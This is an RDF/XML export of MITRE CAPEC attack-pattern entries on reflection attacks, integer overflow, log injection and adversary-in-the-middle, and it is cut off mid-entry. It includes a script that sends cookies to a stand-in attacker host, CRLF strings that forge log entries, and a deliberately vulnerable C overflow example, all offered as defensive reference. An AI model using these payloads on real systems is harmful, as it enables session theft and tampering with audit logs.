Skill_46014 + + + + + + + + + + + + + + The attacker needs to have knowledge of observing the protocol exchange and managing the required connections in order to issue and respond to challenges + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">All that the attacker requires is a means to observe and understand the protocol exchanges in order to reflect the challenges appropriately.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence46020 + Consequence_46020 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence46027 + Consequence_46027 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The server must initiate the handshake by issuing the challenge. This ensures that the client has to respond before the exchange can move any further</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The use of HMAC to hash the response from the server can also be used to thwart reflection. The server responds by returning its own challenge as well as hashing the client's challenge, its own challenge and the pre-shared secret. Requiring the client to respond with the HMAC of the two challenges ensures that only the possessor of a valid pre-shared secret can successfully hash in the two values.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Introducing a random nonce with each new connection ensures that the attacker cannot employ two connections to attack the authentication protocol</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A single sign-on solution for a network uses a fixed pre-shared key with its clients to initiate the sign-on process in order to avoid eavesdropping on the initial exchanges.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An attacker can use a reflection attack to mimic a trusted client on the network to participate in the sign-on exchange.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 301 + + + + + 303 + + + + + + + + + + + + #indContentHistoryContentHistory46047 + Content_History_46047 + + + + + + + + + + + + + + + + #indSubmissionSubmission46048 + Submission_46048 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification46053 + Modification_46053 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification46059 + Modification_46059 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification46065 + Modification_46065 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification46071 + Modification_46071 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification46077 + Modification_46077 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification46083 + Modification_46083 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #CAPEC-91 + DEPRECATED: XSS in IMG Tags + + + + + + + + + 91 + + + + + DEPRECATED: XSS in IMG Tags + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is contained in the existing attack pattern "CAPEC-18 : XSS Targeting Non-Script Elements". Please refer to this other CAPEC going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory46094 + Content_History_46094 + + + + + + + + + + + + + + + + #indSubmissionSubmission46095 + Submission_46095 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification46100 + Modification_46100 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Activation_Zone, Architectural_Paradigms, Attack_Motivation-Consequences, Attack_Phases, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, CIA_Impact, Description, Description Summary, Examples-Instances, Frameworks, Injection_Vector, Languages, Methods_of_Attack, Payload, Payload_Activation_Impact, Platforms, Purposes, Related_Attack_Patterns, Related_Guidelines, Related_Security_Principles, Related_Vulnerabilities, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations, Technical_Context, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification46106 + Modification_46106 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName46112 + Previous_Entry_Name_46112 + + + + + + + + + 2017-05-01 + + + + + XSS in IMG Tags + + + + + + + + + + + + #CAPEC-92 + Forced Integer Overflow + + + + + + + + + 92 + + + + + Forced Integer Overflow + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack forces an integer variable to go out of range. The integer variable is often used as an offset such as size of memory allocation or similarly. The attacker would typically control the value of such variable and try to get it out of range. For instance the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value which can lead to unexpected behavior. At worst the attacker can execute arbitrary code.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern46120 + Related_Attack_Pattern_46120 + + + + + + + + + + + + + + 128 + + + + + + + + + + + + #indAttackStepAttackStep46123 + Attack_Step_46123 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The first step is exploratory meaning the attacker looks for an integer variable that they can control.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep46128 + Attack_Step_46128 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker finds an integer variable that they can write into or manipulate and try to get the value of the integer out of the possible range.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep46133 + Attack_Step_46133 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The integer variable is forced to have a value out of range which set its final value to an unexpected value.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep46138 + Attack_Step_46138 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target host acts on the data and unexpected behavior may happen.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker can manipulate the value of an integer variable utilized by the target host.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target host does not do proper range checking on the variable before utilizing it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When the integer variable is incremented or decremented to an out of range value, it gets a very different value (e.g. very small or negative number)</xhtml:div> + + + + + + + + + + + + #indSkillSkill46150 + Skill_46150 + + + + + + + + + + + + + + An attacker can simply overflow an integer by inserting an out of range value. + + + + + + + + + + + + #indSkillSkill46151 + Skill_46151 + + + + + + + + + + + + + + Exploiting a buffer overflow by injecting malicious code into the stack of a software system or even the heap can require a higher skill level. + + + + + + + + + + + + #indConsequenceConsequence46154 + Consequence_46154 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence46158 + Consequence_46158 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence46164 + Consequence_46164 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence46171 + Consequence_46171 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence46175 + Consequence_46175 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a language or compiler that performs automatic bounds checking.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Carefully review the service's implementation before making it available to user. For instance you can use manual or automated code review to uncover vulnerabilities such as integer overflow.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an abstraction library to abstract away risky APIs. Not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Always do bound checking before consuming user input data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Integer overflow in the ProcAuWriteElement function in server/dia/audispatch.c in Network Audio System (NAS) before 1.8a SVN 237 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a large max_samples value. See also: CVE-2007-1544</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The following code illustrates an integer overflow. The declaration of total integer as "unsigned short int" assumes that the length of the first and second arguments fits in such an integer [REF-547], [REF-548].&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;include &amp;lt;stdlib.h&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;include &amp;lt;string.h&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;include &amp;lt;stdio.h&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;int main (int argc, char *const *argv)&lt;xhtml:br&gt;&lt;/xhtml:br&gt;{&lt;xhtml:div style="margin-left:1em;"&gt;if (argc !=3){&lt;xhtml:div style="margin-left:1em;"&gt;printf("Usage: prog_name &amp;lt;string1&amp;gt; &amp;lt;string2&amp;gt;\\n");&lt;xhtml:br&gt;&lt;/xhtml:br&gt;exit(-1);&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;}&lt;xhtml:br&gt;&lt;/xhtml:br&gt;unsigned short int total;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;total = strlen(argv[1])+strlen(argv[2])+1;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;char * buff = (char *)malloc(total);&lt;xhtml:br&gt;&lt;/xhtml:br&gt;strcpy(buff, argv[1]);&lt;xhtml:br&gt;&lt;/xhtml:br&gt;strcpy(buff, argv[2]);&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;}&lt;/xhtml:div&gt; + </xhtml:div> + + + + + 190 + + + + + 128 + + + + + 120 + + + + + 122 + + + + + 196 + + + + + 680 + + + + + 697 + + + + + + + + + + + + #indTaxonomyMappingIntegerOverflows + Integer Overflows + + + + + + + + + + + + + + 03 + + + + + Integer Overflows + + + + + + + + + + + + #indReferenceReference46212 + Reference_46212 + + + + + + + + + REF-131 + + + + + + + + + + + + #indReferenceReference46213 + Reference_46213 + + + + + + + + + REF-547 + + + + + Test Case ID 1511 + + + + + + + + + + + + #indReferenceReference46214 + Reference_46214 + + + + + + + + + REF-548 + + + + + Page 152, Figure 5-1 + + + + + + + + + + + + #indContentHistoryContentHistory46216 + Content_History_46216 + + + + + + + + + + + + + + + + #indSubmissionSubmission46217 + Submission_46217 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification46222 + Modification_46222 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification46228 + Modification_46228 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, Execution_Flow + + + + + + + + + + + + #indModificationModification46234 + Modification_46234 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations, References, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification46240 + Modification_46240 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-93 + Log Injection-Tampering-Forging + + + + + + + + + 93 + + + + + Log Injection-Tampering-Forging + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing them to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern46254 + Related_Attack_Pattern_46254 + + + + + + + + + + + + + + 268 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern46257 + Related_Attack_Pattern_46257 + + + + + + + + + + + + + + 592 + + + + + + + + + + + + #indAttackStepAttackStep46260 + Attack_Step_46260 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine Application's Log File Format] The first step is exploratory meaning the attacker observes the system. The attacker looks for action and data that are likely to be logged. The attacker may be familiar with the log format of the system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine logging utility being used by application (e.g. log4j)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Gain access to application's source code to determine log file formats.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Install or obtain access to instance of application and observe its log file format.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep46268 + Attack_Step_46268 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Manipulate Log Files] The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted input that the target software will write to the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;"%0D%0A[Thu%20Nov%2012%2011:22]:Info:%20User%20admin%20logged%20in"&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;may add the following forged entry into a log file:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="result"&gt;"[Thu Nov 12 12:11:22]:Info: User admin logged in"&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Different applications may require different encodings of the carriage return and line feed characters.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Insert a script into the log file such that if it is viewed using a web browser, the attacker will get a copy of the operator/administrator's cookie and will be able to gain access as that user. For example, a log file entry could contain&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;&amp;lt;script&amp;gt;new Image().src="http://xss.attacker.com/log_cookie?cookie="+encodeURI(document.cookie);&amp;lt;/script&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The script itself will be invisible to anybody viewing the logs in a web browser (unless they view the source for the page).&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target host is logging the action and data of the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target host insufficiently protects access to the logs or logging mechanisms.</xhtml:div> + + + + + + + + + + + + #indSkillSkill46291 + Skill_46291 + + + + + + + + + + + + + + This attack can be as simple as adding extra characters to the logged data (e.g. username). Adding entries is typically easier than removing entries. + + + + + + + + + + + + #indSkillSkill46292 + Skill_46292 + + + + + + + + + + + + + + A more sophisticated attack can try to defeat the input validation mechanism. + + + + + + + + + + + + #indConsequenceConsequence46295 + Consequence_46295 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Carefully control access to physical log files.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not allow tainted data to be written in the log file without prior input validation. An allowlist may be used to properly validate the data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use synchronization to control the flow of execution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use static analysis tools to identify log forging vulnerabilities.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Avoid viewing logs with tools that may interpret control characters in the file, such as command-line shells.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Dave Nielsen and Patrick Breitenbach PayPal Web Services (aka PHP Toolkit) 0.50, and possibly earlier versions, allows remote attackers to enter false payment entries into the log file via HTTP POST requests to ipn_success.php. See also: CVE-2006-0201</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If a user submits the string "twenty-one" for val, the following entry is logged:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="result"&gt;INFO: Failed to parse val=twenty-one&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;However, if an attacker submits the string&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;twenty-one%0a%0aINFO:+User+logged+out%3dbadguy&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;the following entry is logged:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="result"&gt;INFO: Failed to parse val=twenty-one&lt;xhtml:br&gt;&lt;/xhtml:br&gt;INFO: User logged out=badguy&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Clearly, attackers can use this same mechanism to insert arbitrary log entries.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 117 + + + + + 75 + + + + + 150 + + + + + + + + + + + + #indReferenceReference46325 + Reference_46325 + + + + + + + + + REF-131 + + + + + + + + + + + + #indReferenceReference46326 + Reference_46326 + + + + + + + + + REF-550 + + + + + + + + + + + + #indReferenceReference46327 + Reference_46327 + + + + + + + + + REF-551 + + + + + Log injection + + + + + + + + + + + + #indReferenceReference46328 + Reference_46328 + + + + + + + + + REF-552 + + + + + Test Case ID 1579 + + + + + + + + + + + + #indContentHistoryContentHistory46330 + Content_History_46330 + + + + + + + + + + + + + + + + #indSubmissionSubmission46331 + Submission_46331 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification46336 + Modification_46336 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated References + + + + + + + + + + + + #indModificationModification46342 + Modification_46342 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification46348 + Modification_46348 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Examples-Instances, References + + + + + + + + + + + + #indModificationModification46354 + Modification_46354 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Mitigations, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification46360 + Modification_46360 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification46366 + Modification_46366 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances, Execution_Flow, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-94 + Adversary in the Middle (AiTM) + + + + + + + + + 94 + + + + + Adversary in the Middle (AiTM) + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Whenever one component attempts to communicate with the other (data flow, authentication challenges, etc.), the data first flows through the adversary, who has the opportunity to observe or alter it, before being passed on to the intended recipient as if it was never observed. This interposition is transparent leaving the two compromised components unaware of the potential corruption or leakage of their communications. The potential for these attacks yields an implicit lack of trust in communication or identify between two components.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;These attacks differ from Sniffing Attacks (CAPEC-157) since these attacks often modify the communications prior to delivering it to the intended recipient.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indAlternateTermManInTheMiddleOrMITM + Man-in-the-Middle / MITM + + + + + + + + + Man-in-the-Middle / MITM + + + + + + + + + + + + #indAlternateTermPersonInTheMiddleOrPiTM + Person-in-the-Middle / PiTM + + + + + + + + + Person-in-the-Middle / PiTM + + + + + + + + + + + + #indAlternateTermMonkeyInTheMiddle + Monkey-in-the-Middle + + + + + + + + + Monkey-in-the-Middle + + + + + + + + + + + + #indAlternateTermMonsterInTheMiddle + Monster-in-the-Middle + + + + + + + + + Monster-in-the-Middle + + + + + + + + + + + + #indAlternateTermOnPathAttacker + On-path Attacker + + + + + + + + + On-path Attacker + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern46403 + Related_Attack_Pattern_46403 + + + + + + + + + + + + + + 151 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern46404 + Related_Attack_Pattern_46404 + + + + + + + + + + + + + + 668 + + + + + + + + + + + + #indAttackStepAttackStep46407 + Attack_Step_46407 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine Communication Mechanism] The adversary determines the nature and mechanism of communication between two components, looking for opportunities to exploit.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Perform a sniffing attack and observe communication to determine a communication protocol.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Look for application documentation that might describe a communication mechanism used by a target.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep46414 + Attack_Step_46414 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Position In Between Targets] The adversary inserts themself into the communication channel initially acting as a routing proxy between the two targeted components.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Install spyware on a client that will intercept outgoing packets and route them to their destination as well as route incoming packets back to the client.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Exploit a weakness in an encrypted communication mechanism to gain access to traffic. Look for outdated mechanisms such as SSL.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep46421 + Attack_Step_46421 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Use Intercepted Data Maliciously] The adversary observes, filters, or alters passed data of its choosing to gain access to sensitive information or to manipulate the actions of the two target components for their own purposes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Prevent some messages from reaching their destination, causing a denial of service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">There are two components communicating with each other.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker is able to identify the nature and mechanism of communication between the two target components.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker can eavesdrop on the communication between the target components.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Strong mutual authentication is not used between the two target components yielding opportunity for attacker interposition.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The communication occurs in clear (not encrypted) or with insufficient and spoofable encryption.</xhtml:div> + + + + + + + + + + + + #indSkillSkill46436 + Skill_46436 + + + + + + + + + + + + + + This attack can get sophisticated since the attack may use cryptography. + + + + + + + + + + + + #indConsequenceConsequence46439 + Consequence_46439 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence46443 + Consequence_46443 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence46449 + Consequence_46449 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure Public Keys are signed by a Certificate Authority</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Encrypt communications using cryptography (e.g., SSL/TLS)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use Strong mutual authentication to always fully authenticate both ends of any communications channel.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Exchange public keys using a secure channel</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" 